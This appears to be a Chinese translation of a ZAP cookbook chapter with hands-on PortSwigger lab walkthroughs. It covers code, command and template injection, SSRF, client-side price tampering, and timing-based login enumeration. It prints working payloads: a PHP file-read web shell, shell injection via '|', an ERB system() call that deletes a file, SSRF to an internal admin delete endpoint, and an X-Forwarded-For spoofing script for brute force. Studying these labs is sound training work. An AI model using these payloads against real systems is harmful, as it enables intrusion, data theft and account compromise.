原文:
annas-archive.org/md5/5e6314c3b8c8aba93502d674935a9649
译者:飞龙
第七章:验证(数据)输入 - 第二部分
在第七章中,我们将继续进行输入验证的内容。我们将讨论代码注入,它使攻击者能够向程序中插入自定义代码并执行。接下来我们将讲解命令注入,它通过使用现有代码来执行命令,通常是在 Shell 环境下进行。然后我们会讨论服务器端模板注入(SSTI),即用户输入以不安全的方式插入模板,导致在服务器上执行远程代码。最后,我们会介绍服务器端请求伪造(SSRF),该漏洞通过利用服务器功能读取或更改内部资源。
本章将涵盖以下内容:
-
测试代码注入
-
测试命令注入
-
测试服务器端模板注入
-
测试服务器端请求伪造
技术要求
本章要求你安装 OWASP ZAP 并使用 PortSwigger 账户访问 PortSwigger Academy 实验。
测试代码注入
代码注入是一种漏洞,指的是将代码注入到应用程序中,后者会解释或执行这些代码。此漏洞允许攻击者从应用程序的后台获取信息,甚至完全控制应用程序。
在本章中,我们将带你通过通过 Web Shell 上传进行远程代码执行的 PortSwigger 实验,创建并上传一个包含代码注入有效载荷的新文件,通过 Web 应用程序功能实现上传。
准备工作
本实验需要一个 PortSwigger Academy 账户以及 ZAP 工具,用于拦截从服务器到浏览器的请求和响应。
如何操作…
在本实验中,你将接触到一个存在漏洞的图片上传功能,该功能没有验证用户上传的文件,在将其存储到服务器之前存在安全隐患。
你将通过上传一个简单的 PHP Web Shell 并利用它来提取/home/carlos/secret
文件的内容,从而利用此漏洞。
导航至通过 Web Shell 上传进行远程代码执行的 PortSwigger Academy 实验,并获取实验说明中提供的凭据。以下 URL 指向该实验:portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload
:
-
将浏览器通过 ZAP 代理后,登录 PortSwigger Academy 网站以启动实验。
-
启动实验后,导航至我的账户并使用
wiener
账户登录,密码为peter
。这些信息也可以在实验说明页面找到,点击即可启动应用。 -
在我的账户页面,点击选择文件并选择要上传的任何图片。如图 7.1所示,你可以看到我选择了自己的头像并上传了照片。上传图片后,点击返回我的账户,你会注意到现在可以看到已上传的图片。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.01_B18829.jpg
图 7.1 – 我的账户页面
- 接下来,检查 ZAP Sites 窗口,查看应用程序用来从我的账户页面获取头像图片的请求,如图 7.2所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.02_B18829.jpg
图 7.2 – 头像图片请求
- 然后,右键点击图片,如图 7.3所示,点击使用请求编辑器打开/重发:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.03_B18829.jpg
图 7.3 – 使用请求编辑器的打开/重发选项
-
从这里,你可以最小化当前的请求编辑器窗口,创建一个包含代码注入有效载荷的新文件。你将要创建的文件名为
exploit.php
,文件中的代码如下所示:<?php echo file_get_contents('/home/carlos/secret'); ?>
在你创建并保存了有效载荷文件后,按照上传个人资料图片的方式上传该文件。
- 注意,一旦你选择了
exploit.php
文件作为头像图片上传,文件名会在上传文件之前显示,如图 7.4所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.04_B18829.jpg
图 7.4 – 上传图片功能
-
一旦上传了漏洞文件,你可以回到 ZAP,并在之前最小化的手动请求编辑器窗口中,将 URL 末尾的路径更改为
/files/avatars/exploit.php
,然后发送请求。注意,它返回了一个随机生成的字符串。这是完成实验所需的解决方案,演示了我们如何读取服务器中位于与我们用于/****home/carlos/secret
漏洞相同路径的文件。 -
恭喜!你已经通过利用应用程序中的代码注入漏洞读取了服务器中的文件。
它是如何工作的…
代码注入是一种将任意代码注入程序或进程中并执行的技术。这可以出于多种原因,比如测试、调试或恶意目的,例如恶意软件。
代码注入可以通过多种方式发生:
-
缓冲区溢出:缓冲区溢出漏洞发生在软件尝试存储比其预定容量更多的数据到缓冲区(一个临时数据存储区)时。这可能会覆盖附近的内存,从而允许攻击者执行任意代码。
-
SQL 注入:SQL 注入是一种代码注入攻击,攻击者可以通过易受攻击的应用程序向数据库服务器发送恶意 SQL 语句。
-
跨站脚本攻击(XSS):XSS 是一种代码注入,攻击者将恶意代码注入网页,随后该代码由受害者的浏览器执行。
-
远程代码执行(RCE):RCE 是一种代码注入,攻击者通过利用网络服务或应用程序中的漏洞,可以在远程计算机上执行代码。
通过使用有效的输入验证和清理、编写安全的代码技术以及定期进行安全更新和修补,可以避免代码注入。
测试命令注入
命令注入是一种漏洞,它允许攻击者在应用程序的底层操作系统(主机)上执行命令。当应用程序接受未经清理和验证的用户输入并将其执行为系统命令时,就会发生此漏洞。系统命令的例子有grep
、exec
和system
等。系统命令会根据应用程序开发所用的编程语言不同而有所不同。通常,要进行命令注入攻击,你需要为应用程序提供预期输入,之后再加上一个特殊字符,以执行所需的命令。特殊字符如|
、&
、;
、|
、||
、&
、&&
和\n
,可以将更多命令附加到已执行的命令中。通过使用这些特殊字符,你可以同时执行多个命令。漏洞的严重性取决于应用程序用户帐户所授予的权限。它的影响可能极为严重,像是查看存储在系统中的密码、窃取数据或与网络上的其他系统交互等。
在本教程中,我们将带你完成 PortSwigger Web 安全学院中的操作系统命令注入,简单案例实验,并学习如何利用成功触发的输入命令的漏洞。
准备就绪
你需要启动 ZAP,并确保它能够拦截浏览器与 PortSwigger 学院实验之间的请求和响应。
如何操作…
为了展示如何利用常见的注入漏洞,我们将使用 PortSwigger Web 安全学院中的一个实验。ZAP 将拦截流量,我们将修改请求以利用该漏洞。
以下步骤将指导你完成实验并利用该漏洞:
-
启动 ZAP,并在浏览器中访问 PortSwigger 学院。登录后点击所有
-
向下滚动至操作系统命令注入部分,点击操作系统命令注入,简单案例实验,链接位于
portswigger.net/web-security/os-command-injection/lab-simple
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.05_B18829.jpg
图 7.5 – 操作系统命令注入实验
-
点击访问实验,易受攻击的应用程序将在新标签页中打开。
-
将应用程序添加到范围内,以限制你所看到的结果仅限于该范围。
-
在这个应用程序中,用于检查每个显示项库存水平的功能存在命令注入漏洞。因此,打开任何一个商品,滚动到底部,直到你可以选择检查库存按钮,如图 7.6所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.06_B18829.jpg
图 7.6 – 检查库存按钮
- 我们点击按钮生成请求。现在请求已经发送,找到它在 ZAP 的历史选项卡中。它将是一个
POST
HTTP 请求,发送到/product/stock
,如图 7.7所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.07_B18829.jpg
图 7.7 – 一个发送到 /product/stock 的 POST 请求
-
右键点击请求,然后点击使用请求编辑器打开/重新发送,也称为手动请求编辑器。
-
手动请求编辑器将在新窗口中打开。为了利用该漏洞,在
storeId=1
后添加|
管道符号和命令。在此步骤中,添加|pwd
,如图 7.8所示,以查看我们在哪个目录,并点击发送按钮:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.08_B18829.jpg
图 7.8 – storeId 请求
-
如你所见,我们发送的带有系统命令的请求已经执行,现在我们可以看到我们所在的目录是
/home/peter-IkA8ei
。 -
现在,为了好玩,我们来创建一个文件。返回到请求选项卡中的手动请求编辑器,添加
|
管道符号和cat > CommandInjection.txt
,如图 7.9所示。200
HTTP 响应状态码告诉我们请求成功:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.09_B18829.jpg
图 7.9 – 命令注入请求
- 现在,要查看我们创建的文件,请重复相同的步骤,但这次添加
|
管道符号和ls
命令,如图 7.10所示,然后点击发送:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.10_B18829.jpg
图 7.10 – 请求中的 ls 命令
- 在响应中,你可以看到命令已经成功执行,我们可以看到我们创建的文件已列出,如图 7.11所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.11_B18829.jpg
图 7.11 – 执行的命令注入
这就是本实验的结束。在本实验中,你成功利用了命令注入漏洞。
它是如何工作的…
由于该应用程序存在命令注入漏洞,因此没有验证用户输入。因此,我们可以执行系统命令,查看当前目录,并创建文件。如果我们愿意,我们还可以删除文件。
针对命令注入漏洞的修复措施可以通过清理用户输入来防止。
还有更多…
ZAP 活跃扫描可以检测到命令注入漏洞。对应用程序运行活跃扫描,扫描完成后转到警报标签页,搜索是否存在远程操作系统命令注入。在警报中,您将获得有关漏洞的更多信息,在攻击字段中,您会看到成功的有效载荷。使用在攻击字段中观察到的有效载荷,您可以重新创建攻击,查看密码文件或其他内容。图 7.12 是警报的截图:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.12_B18829.jpg
图 7.12 – 警报标签页攻击描述
另见
Commix 是一个开源工具,旨在自动检测并利用命令注入漏洞。它也作为一个工具包含在 Kali Linux 中。欲了解更多关于 Commix 的信息,请访问该工具的 GitHub 页面 (github.com/commixproject/commix
)。
测试服务器端模板注入
在本教程中,您将学习如何使用 PortSwigger Academy 的实验室进行基本的 SSTI 攻击。由于 ERB 模板的构建不安全,本实验室中的应用程序容易受到 SSTI 攻击。通过完成实验室,您将了解什么是 SSTI。首先,阅读 ERB 文档,学习如何运行任意代码,然后删除morale.txt
文件,该文件位于 Carlos 的主目录中。
此外,您将学习服务器端模板的工作原理,以及这如何导致攻击者利用漏洞控制服务器。
准备工作
启动本地 ZAP 工具并登录到您的 PortSwigger Academy 账户,然后访问 portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic
中的基本服务器端模板注入实验室。
如何操作…
进行漏洞利用的一个好方法是通过注入一系列在模板表达式中常用的特殊字符来模糊化模板,例如以下字符:
${{<%%'"}}%\
因此,当模糊化产生错误或结果时,例如使用数学方程式,这将表明模板存在注入漏洞,因为服务器正试图评估有效载荷。这样做对于在能够利用漏洞之前识别其上下文是非常重要的:
- 首先,点击查看详情以了解第一个产品的更多信息。一个
GET
请求使用消息参数进行渲染;然后您将看到首页上的很抱歉,该产品已售罄信息,如图 7.13所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.14_B18829.jpg
图 7.14 – 内部服务器错误泄露 Ruby ERB
-
在
message=
后输入一个测试有效载荷,包含一个使用 ERB 表达式语法的简单数学运算:- https://your-lab-id.web-security-academy.net/?message=<%25%3d+8*11+%25>
你会注意到数学公式已经被求解并渲染到 web 应用程序页面中,如图 7.15所示。它将出现在与之前相同的位置,如图 7.16所示。这表明我们可能存在 SSTI 漏洞:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.15_B18829.jpg
图 7.15 – 数学运算结果渲染到网页
-
请参考 Ruby 文档并使用
system()
方法。此方法可用于执行任意操作系统命令。你可以通过一个简单的 Linux 命令来测试这些命令是否有效:<%= system("pwd") %>
<%= system("ls -a") %>
在这里我们可以看到命令在 web 应用程序中显示的结果:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.16_B18829.jpg
图 7.16 – pwd 命令结果
-
现在我们可以看到服务器正在执行命令以打印当前工作目录并列出所有文件,让我们构造一个有效载荷,以便从 Carlos 的目录中删除一个文件:
<%= system("rm /home/carlos/morale.txt") %>
成功执行实验将显示一个祝贺页面:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.17_B18829.jpg
图 7.17 – 实验已解决
重要说明
如果命令导致错误消息或没有执行,请将有效载荷转换为 URL 编码,例如,%3C%25%3D%20system%28%22ls%20-a%22%29%20%25%3E
。
使用 OWASP ZAP 编码/解码/哈希工具或快捷键Ctrl + E,如图 7.18所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.18_B18829.jpg
图 7.18 – 编码/解码/哈希工具
它是如何工作的…
你可以通过使用像 Smarty(PHP)、Freemarker(Java)或 Jinja2(Python)这样的模板引擎,在你的应用程序中使用静态模板文件。模板引擎会在运行时将模板文件中的变量替换为实际用户提供的值,并将模板转换为 HTML 文件,然后发送给客户端。
通过提交无效的语法,结果错误消息将向攻击者指示正在使用的模板引擎,并在某些情况下指明其版本。这使攻击者能够构造恶意有效载荷或将无效语法嵌入模板中,从而执行服务器端命令。
还有更多…
开发者使用服务器端模板预先在服务器上加载自定义用户数据的网页。现代网页框架通常动态生成 HTML 代码,模板包含所需 HTML 输出的静态部分以及描述如何插入动态内容的语法。
模板引擎随后处理模板文件,帮助将动态数据融入网页。当收到 HTTP 请求时,模板引擎会生成 HTML 输出响应。
参见
GitHub SSTI Payloads: github.com/payloadbox/ssti-payloads
若要进一步阅读有关模板框架的内容,请访问以下链接:www.smarty.net/
-
Twig:
twig.symfony.com/
-
PHPTAL:
phptal.org/
对于 Java:
-
JSP/JSTL:
www.oracle.com/java/technologies/jstl-documentation.html
-
Apache Velocity:
velocity.apache.org/
-
Apache FreeMarker:
freemarker.apache.org/
-
Thymeleaf:
www.thymeleaf.org/
-
Pippo:
www.pippo.ro/
-
Groovy Server Pages** (
GSP**):gsp.grails.org/latest/guide/index.html
对于 Python:
-
Jinja2:
pypi.org/project/Jinja2/
-
Mako:
www.makotemplates.org/
-
Tornado:
pypi.org/project/tornado/
对于 Ruby:
-
system()
:www.rubyguides.com/2018/12/ruby-system/
服务器端请求伪造的测试
内部和外部资源经常与 Web 应用程序交互。虽然你会期望只有预定的资源接收到你提供的数据,但不当的数据管理可能导致 SSRF,这是一种注入攻击。成功的 SSRF 攻击可以让攻击者访问限制性操作、内部服务或程序或公司内部的文件。在本教程中,我们将展示如何对后端系统执行 SSRF 攻击,寻找内部 IP 地址并随后删除用户。
准备工作
启动本地 ZAP 工具并登录你的 PortSwigger Academy 账户,然后访问 portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
上的 Basic SSRF against another back-end system 实验。
如何操作…
我们将在本食谱中使用 PortSwigger Academy 的 Basic SSRF versus another back-end system 实验。SSRF 是一种攻击,攻击者通过易受攻击的服务器向目标服务器发送恶意请求,从而获取本来受限的资源或信息。后端系统是支撑网站或应用程序正常运行的基础设施和组件。这些系统通常对最终用户不可见,负责数据存储与处理、请求与响应管理以及系统集成等功能。
后端系统包括以下内容:
-
数据库
-
应用服务器
-
集成系统
后端系统通常是网站或应用程序整体架构的重要组成部分,负责大多数幕后工作,确保程序能够成功运行。
此实验包含一个库存检查功能,该功能从内部系统获取数据,然后扫描内部 IP 地址范围以查找管理接口,接着利用该接口删除用户 Carlos。
以下步骤将引导你完成实验并利用该漏洞:
-
访问网页应用并通过 ZAP 进行手动或自动扫描以捕获流量。
-
接下来,访问任何产品并点击 检查库存,使用
Break Set
拦截请求,或者从Sites
窗口选择路径,右键点击并进入Manual Request Editor
,如图 7.19所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.19_B18829.jpg
图 7.19 – 从 Sites 窗口定位 stockAPI
- 将
stockApi
参数值更改为http://192.168.0.1:8080/admin/...
,这将允许我们访问管理员门户,如图 7.20所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.20_B18829.jpg
图 7.20 – 手动请求编辑器中的 stockAPI 请求
- 高亮显示 IP 地址的最后一个八位字节(数字1),右键点击以在
Fuzzer
中打开(如图 7.21所示):
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.21_B18829.jpg
图 7.21 – Fuzz stockAPI 参数值
-
在
Fuzz Locations
中,点击 添加 两次以打开菜单,并将 类型 切换为Numberzz
。然后,按照提供的值填写以下字段:-
**从
: **1
-
**到
: **255
-
-
点击 添加 完成负载(如图 7.22和图 7.23所示)。
-
点击 启动 Fuzzer:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.22_B18829.jpg
图 7.22 – 对 API 端点进行 Fuzz 测试
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.23_B18829.jpg
图 7.23 – Numberzz 有效载荷
-
点击 状态 列在 Fuzzer 信息 窗口中按状态码对攻击进行排序。你将看到一个状态为
200
的条目,展示该位置存在一个成功的管理员页面 IP 地址。 -
在 手动请求编辑器 中再次打开请求,并将
stockApi
中的路径更改为以下字符串:/admin/delete?username=carlos
重要提示
将参数转换为 HTML 编码字符串。
- 发送请求以删除用户。
它是如何工作的…
SSRF 是一种攻击形式,利用与内部/外部网络或主机本身交互的应用程序进行攻击。例如,URL 参数因素或 Webhook 自定义的处理不当,用户指定 Webhook 处理程序或回调 URL。攻击者还可以通过与其他服务的请求交互来提供特定功能。通常,用户数据被发送到服务器进行处理,如果处理不当,可能会被用来执行特定的注入攻击。
SSRF 攻击涉及说服服务器代表攻击者向外部资源发起请求。例如,即使 Web 应用防火墙(WAF) 阻止了常规请求,攻击者也可能通过发现绕过 WAF 的方法来实施 SSRF 攻击。
攻击者可能通过利用绕过方法来避免被 WAF 检测到。例如,攻击者可能使用 URL 编码、Unicode 编码或其他方式改变请求的外观,使得 WAF 无法识别为恶意请求。攻击者还可能通过发现应用程序中的弱点绕过 WAF,从而发起 SSRF 攻击。
例如,攻击者可能会发现应用程序输入验证中的弱点,允许他们将 URL 注入到表单字段中,服务器会代表他们执行该请求,如 图 7.24 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_7.24_B18829.jpg
图 7.24 – SSRF 攻击示意图
还有更多内容…
HTTP 协议并不是唯一可能发生 SSRF 攻击的协议。HTTP 首先在请求中使用,但如果应用程序执行第二次请求,它可能会使用多种其他协议,例如 FTP、SMB、SMTP 或其他协议和/或方案,如 file:/
、data:/
和 dict:/
等。
此外,SSRF 经常在云环境中使用,用于获取并窃取凭证或访问令牌,如在 AWS 或 Azure 环境中的元数据服务(如元数据服务器)。
最后,考虑其他攻击方式,如 XML 外部实体(XXE),它可以被用来利用 SSRF 漏洞。
另见
有关 XXE 的更多信息,请参阅 第十三章。
第八章:业务逻辑测试
太好了!你已经完成了三分之一。在本章中,我们将讨论业务逻辑缺陷。业务逻辑缺陷是一种错误类型,攻击者发现利用应用程序的实际处理流程的方式,给关联带来负面影响。
在这里,你将学习如何绕过前端 GUI 应用程序,直接将数据发送到后台进行处理。我们还将发现如何通过简单地保持活动会话并未在预期时间内提交交易,来操控和干扰设计的业务流程,在测试流程时序的实验中就是这种情况。此外,我们还将了解工作流漏洞,包括任何使攻击者能够以某种方式滥用系统或应用程序的缺陷,从而避免(不遵循)预定或构建的工作流。
最后,我们将探讨意外文件类型上传的情况,在这种情况下,应用程序可能只接受某些文件类型(如.csv
或.txt
文件)进行处理,并且可能不会检查上传文件的内容或扩展名。这可能导致系统或数据库结果异常,或为攻击者提供新的漏洞可供利用。
在本章中,我们将涵盖以下实验:
-
测试伪造请求的能力
-
测试流程时序
-
测试绕过工作流
-
测试上传带有恶意载荷的意外文件类型
技术要求
你需要安装 OWASP ZAP 代理,以便使用你的 PortSwigger 帐户访问 PortSwigger Academy 实验室,这些实验室将在本章的实验中使用。
测试伪造请求的能力
攻击者通过伪造请求,将数据直接发送到应用程序的后台进行处理,而不是通过其前端 GUI。
攻击者尝试通过拦截代理(在本例中为 OWASP ZAP)提交包含不被允许、未受保护或未被应用程序业务逻辑预料到的数据值的 HTTP GET**/**POST
请求;在本例中,攻击者(即你)将利用应用程序逻辑中的缺陷,以意外的价格购买一件皮夹克。
准备就绪
本实验需要一个 PortSwigger Academy 帐户和 ZAP,以便拦截从服务器到浏览器的请求和响应。
如何操作…
在这一部分,我们将使用 PortSwigger Academy 的过度信任客户端控制实验,通过编辑请求来改变产品的价格。请按照以下说明完成此实验:
- 在浏览器中通过 ZAP 代理访问 URL,并登录到 PortSwigger Academy 网站以启动实验:
- 一旦你访问实验室,登录到实验室应用程序的我的账户,并使用提供的用户名
/
密码:wiener**/**peter
。没有登录你将无法完成购买。
你还会注意到账户有$100.00
的店内积分余额。
- 尝试通过将第一个商品轻便‘l33t’皮夹克添加到购物车并完成整个购买过程。
由于没有足够的店内积分,订单被拒绝,如图 8.1所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.1_B18829.jpg
图 8.1 – 轻便夹克购买失败
-
在 ZAP 中,进入历史并查看订单过程。你会注意到,当你将商品添加到购物车时,相应的请求中包含一个价格参数。
-
从购物车中移除商品,但停留在显示购物车为空的页面上。
-
右键点击
POST <url>/cart
请求,并选择使用请求编辑器打开/重新发送。 -
在请求编辑器中,将价格更改为一个任意整数,并确保末尾有两个零以便计算零钱(即1700),然后发送请求,如图 8.2所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.2_B18829.jpg
图 8.2 – 修改价格的请求
- 在网页上,刷新购物车并注意到商品已经回到购物车中,但确认价格已根据你的输入发生了变化(见图 8.3):
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.3_B18829.jpg
图 8.3 – 购物车中已更改的商品
-
重复此过程,将价格设置为低于可用店内积分的任意金额。
-
完成订单以解决实验室问题,如图 8.4所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.4_B18829.jpg
图 8.4 – 完成的购买订单
它是如何工作的…
这些缺陷通过检查项目文档中的字段功能来加以利用,功能可以推断或预测,或者是隐藏的。为了避免遵循标准的业务逻辑程序,插入逻辑上合理的数据。
参见
对于其他类似的情况,请参阅以下内容:
- 测试暴露的 会话变量:
- 跨站请求伪造测试:
- 测试账户枚举和可猜测的 用户账户:
测试过程时延
过程时延测试是一种业务逻辑测试类型,重点在于查找应用程序完成某些过程(如身份验证)时的流动。在过程时延测试中,测试者观察应用程序处理有效输入与无效输入或操作所花费的时间。测试者验证攻击者是否无法仅通过应用程序完成操作所需的时间来判断应用程序的行为。在身份验证示例中,通过监控过程时延,基于输入有效凭证与无效凭证的时间差异,攻击者可以判断凭证是否有效,而无需依赖图形用户界面(GUI)。
准备就绪
对于这个教程,你需要启动 PortSwigger 的 用户名枚举通过响应时间 实验,并确保 ZAP 在拦截实验应用程序与浏览器之间的流量。
如何操作…
以下是逐步教程,演示如何使用过程时延来找到正确的登录信息:
- 使用浏览器代理到 ZAP,导航到以下 URL 并登录到 PortSwigger Academy 网站以启动实验:
-
打开 用户名枚举通过响应时间 实验并启动 ZAP,拦截浏览器和实验之间的通信。
-
创建一个上下文并将应用程序的 URL 添加进去,然后点击目标符号,以便仅显示来自应用程序的请求,出现在 站点树 和 历史记录 标签页中。
-
尝试使用不同的用户名和密码登录五次;如图 8.5所示,你的 IP 地址已被封锁。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.5_B18829.jpg
图 8.5 – 用户账户被封锁 30 分钟
- 如果 IP 地址被封锁,我们将无法执行暴力破解攻击。为了绕过这个问题,我们可以使用
X-Forwarded-For
HTTP 头部,这将允许我们伪造 IP 地址。现在,选择尝试登录时发送的POST
请求;该请求的 URL 以/login
结尾,如图 8.6所示。右键点击请求并选择 打开/重新发送请求编辑器… 选项:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.6_B18829.jpg
图 8.6 – 登录的 POST 请求
- 请求编辑器窗口将打开。在请求标签中,向下滚动至 HTTP 头部的末尾并添加
X-Forwarded-For
头部。我们将该头部的值设置为100
,如图 8.7所示。更改用户名和密码的值,并点击发送。图 8.7还显示了用户名和密码字段的高亮显示;图片中这些字段的值是admin
和admin
。
如你所见,请求已成功发送。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.7_B18829.jpg
图 8.7 – X-Forwarded-For 头部
-
为了能够自动并持续地更改
X-Forwarded-For
字段的值,我们需要下载社区脚本。这是为了暴力破解密码和用户名字段。以下是下载社区脚本的步骤:- 所以,首先通过点击三立方体图标打开管理附加组件窗口,如图 8.8所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.8_B18829.jpg
图 8.8 – 管理附加组件图标
- 一旦管理附加组件窗口打开,导航到市场标签,搜索社区脚本。勾选它旁边的复选框,并点击安装所选项,如图 8.9所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.9_B18829.jpg
图 8.9 – 市场社区脚本
-
安装社区脚本后,点击站点标签旁边的加号图标,选择脚本来添加脚本标签。
-
展开Fuzzer HTTP 处理器部分,通过右键点击
random_x_forwarded_for_ip.js
并点击启用脚本来启用它,如图 8.10所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.10_B18829.jpg
图 8.10 – 启用脚本
以下是脚本的代码,以防它从社区脚本中被删除:
function processMessage(utils, message) {
var random_ip = Math.floor(Math.random() * 254)+ "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254);
message.getRequestHeader().setHeader("X-Forwarded-For", random_ip);
}
function processResult(utils, fuzzResult){
return true;
}
function getRequiredParamsNames(){
return [];
}
function getOptionalParamsNames(){
return [];
}
- 现在,右键点击我们刚才发送的最后一个请求,即我们添加了
X-Forwarded-For
头部的请求;该请求的来源应显示为手动。点击打开/
使用请求编辑器重新发送…,请求将在请求编辑器窗口中打开。将密码设置为一个非常长的密码(300 个以上字符);在这个请求中,我将thezaplife
添加了 21 次作为密码,如图 8.11所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.11_B18829.jpg
图 8.11 – 请求编辑器设置密码
-
右键点击历史记录标签中的最后一个登录请求——它应该是我们添加了长密码的请求,请求的来源应显示为手动。选择攻击并点击模糊…,这将打开
Fuzzer
窗口。 -
导航到消息处理器标签,点击添加…,这将打开添加消息处理器窗口。在脚本字段中,选择我们之前添加的脚本并点击添加,如图 8.12所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.12_B18829.jpg
图 8.12 – 消息处理器
-
转到
Fuzz Locations
选项卡。在这一步中,我们将进行用户名的暴力破解,所以选择用户名并点击添加。点击添加后,有效负载窗口将打开;再点击添加。 -
当添加有效负载窗口出现时,选择字符串作为类型,并输入实验中提供的用户名列表。用户名列表可以通过点击实验主页上候选用户名的链接在访问实验之前查看。图 8.13展示了有效负载中的用户名列表。输入用户名后,点击添加,然后在有效负载窗口中点击确定。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.13_B18829.jpg
图 8.13 – 添加有效负载
- 然后,点击启动 Fuzzer,如图 8.14所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.14_B18829.jpg
图 8.14 – 添加有效负载的 Fuzzer 启动
-
拥有最长 RTT 时间的用户名就是正确的用户名。在我的案例中,最长 RTT 时间与用户名
activestat
相关,如图 8.15所示。 -
记下五个具有最长 RTT 时间的用户名;如果你没有找到第一个用户名的密码,可以尝试其他用户名。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.15_B18829.jpg
图 8.15 – 密码有效负载的 RTT 时间
-
现在我们已经有了用户名,接下来我们需要进行密码的暴力破解。但首先,我们需要使用请求编辑器重新发送请求以更改用户名。右键点击历史选项卡中的最后一个登录
POST
请求,选择打开/
使用请求编辑器重新发送…。 -
一旦请求编辑器窗口打开,将用户名更改为具有最长 RTT 时间的用户名。在我的情况下,用户名将是
activestat
,如图 8.16所示。点击发送。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.16_B18829.jpg
图 8.16 – activestat 的用户名
-
在历史选项卡中找到请求,右键点击,悬停在攻击上,然后点击
Fuzz...
。 -
转到消息处理器选项卡,点击添加,这将打开添加消息处理器窗口。
-
当添加消息处理器窗口打开时,选择我们之前添加的脚本,在脚本字段中,点击添加,如图 8.13所示。
-
转到
Fuzz Locations
选项卡,选择password
,然后点击添加。当有效负载窗口打开时,再次点击添加。当添加有效负载窗口出现时,选择字符串作为类型,并输入实验中提供的密码列表。密码列表可以通过点击实验主页上候选密码的链接在访问实验之前查看。图 8.17展示了有效负载中的密码列表。输入密码后,点击添加,然后在有效负载窗口中点击确定。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.17_B18829.jpg
图 8.17 – 候选密码负载
- 然后,点击开始模糊测试器,如图 8.19所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.18_B18829.jpg
图 8.18 – 有效负载的开始模糊测试器
- 在模糊测试器标签页中,通过点击代码栏的代码字样进行排序。正确的密码会显示为
302 Found
,如图 8.20所示。正确的密码会列在有效负载栏中,在我的情况下,它是montana
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.19_B18829.jpg
图 8.19 – 正确密码的 302 Found
- 现在我们已经知道了正确的用户名和密码,让我们尝试使用这些信息登录网页。如果登录成功,应用程序将显示你的用户名和电子邮件,如图 8.21所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.20_B18829.jpg
图 8.20 – 已解决实验的显示
它是如何工作的……
